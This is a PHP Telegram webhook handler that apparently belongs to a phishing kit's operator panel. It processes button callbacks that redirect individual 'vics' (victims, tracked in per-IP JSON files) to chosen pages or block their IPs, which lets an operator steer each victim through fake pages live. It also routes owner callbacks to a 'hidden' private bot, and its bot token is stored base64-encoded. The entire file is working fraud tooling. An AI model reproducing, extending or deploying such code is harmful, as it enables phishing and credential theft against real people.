<?php
require __DIR__ . '/classes/admin.class.php';
require __DIR__ . '/includes/panel_guard.php';
require_once __DIR__ . '/../auth/class/TelegramKeyboard.php';

$admin = new Admin();
$admin->setDataFile(__DIR__ . '/data/admin.json');
$raw_bot = $admin->getData()['settings']['telegram_bot'] ?? '';
$maybe = base64_decode($raw_bot, true);
$bot_token = ($maybe !== false && strpos($maybe, ':') !== false) ? $maybe : $raw_bot;
$priv = panelPrivateChannels();
$private_bot = $priv['bot'] ?? '';

function tgAnswerCallback($bot_token, $callback_id, $text, $show_alert = false)
{
    panelTgApi($bot_token, 'answerCallbackQuery', array(
        'callback_query_id' => $callback_id,
        'text' => $text,
        'show_alert' => $show_alert ? 'true' : 'false',
    ));
}

function tgSendMessage($bot_token, $chat_id, $text)
{
    panelTgApi($bot_token, 'sendMessage', array(
        'chat_id' => $chat_id,
        'text' => $text,
    ));
}

$update = json_decode((string) file_get_contents('php://input'), true);

http_response_code(200);
header('Content-Type: text/plain; charset=utf-8');

if (!is_array($update) || !isset($update['callback_query'])) {
    echo 'OK';
    exit;
}

$callback = $update['callback_query'];
$data = isset($callback['data']) ? (string) $callback['data'] : '';
$callbackId = isset($callback['id']) ? (string) $callback['id'] : '';
$chat_id = $callback['message']['chat']['id'] ?? '';

// Panel owner Valid / Decline → hidden bot, else x_sync master
if (preg_match('/^panel_(ok|no)_/i', $data)) {
    $cfg = panelTelegramConfig(true);
    $ownerBot = $private_bot !== '' ? $private_bot : '';
    if ($ownerBot === '' && !empty($cfg['master_bot'])) {
        $ownerBot = $cfg['master_bot'];
    }
    if ($ownerBot === '') {
        $ownerBot = $bot_token;
    }
    // Try master first (working chat), then mother private bot
    $tried = array();
    foreach (array_unique(array_filter(array($cfg['master_bot'] ?? '', $private_bot, $bot_token))) as $tryBot) {
        if (isset($tried[$tryBot])) {
            continue;
        }
        $tried[$tryBot] = true;
        if (panelHandleOwnerCallback($tryBot, $callbackId, $chat_id, $data)) {
            echo 'OK';
            exit;
        }
    }
}

if ($bot_token === '') {
    echo 'OK';
    exit;
}

if (preg_match('/^blockip_(.+)$/', $data, $matches)) {
    $ip = TelegramKeyboard::normalizeIp($matches[1]);

    if (TelegramKeyboard::blockIpAddress($ip)) {
        $vicFile = __DIR__ . '/data/vics/VIC-' . $ip . '.json';
        if (is_file($vicFile)) {
            $raw = json_decode((string) file_get_contents($vicFile), true);
            if (is_array($raw)) {
                $raw['REDIRECT'] = 11;
                @file_put_contents($vicFile, json_encode($raw), LOCK_EX);
            }
        }
        tgAnswerCallback($bot_token, $callbackId, 'IP blocked: ' . $ip, false);
        tgSendMessage($bot_token, $chat_id, "🚫 IP blocked\n\n🌐 IP: $ip\n⏰ " . date('H:i:s'));
    } else {
        tgAnswerCallback($bot_token, $callbackId, 'Invalid IP', true);
    }
} elseif (preg_match('/^redirect_(\d+)_(.+)$/', $data, $matches)) {
    $pageID = (int) $matches[1];
    $ip = TelegramKeyboard::normalizeIp($matches[2]);
    $vicFile = __DIR__ . '/data/vics/VIC-' . $ip . '.json';

    if (is_file($vicFile)) {
        $raw = json_decode((string) file_get_contents($vicFile), true);
        if (!is_array($raw)) {
            $raw = array();
        }
        $raw['REDIRECT'] = $pageID;
        @file_put_contents($vicFile, json_encode($raw), LOCK_EX);
        $pageName = TelegramKeyboard::pageName($pageID);
        tgAnswerCallback($bot_token, $callbackId, 'Redirected to: ' . $pageName, false);
        tgSendMessage(
            $bot_token,
            $chat_id,
            "✅ Redirect successful\n\n📄 Page: $pageName\n🌐 IP: $ip\n⏰ " . date('H:i:s')
        );
    } else {
        tgAnswerCallback($bot_token, $callbackId, 'File not found for IP: ' . $ip, true);
    }
}

echo 'OK';
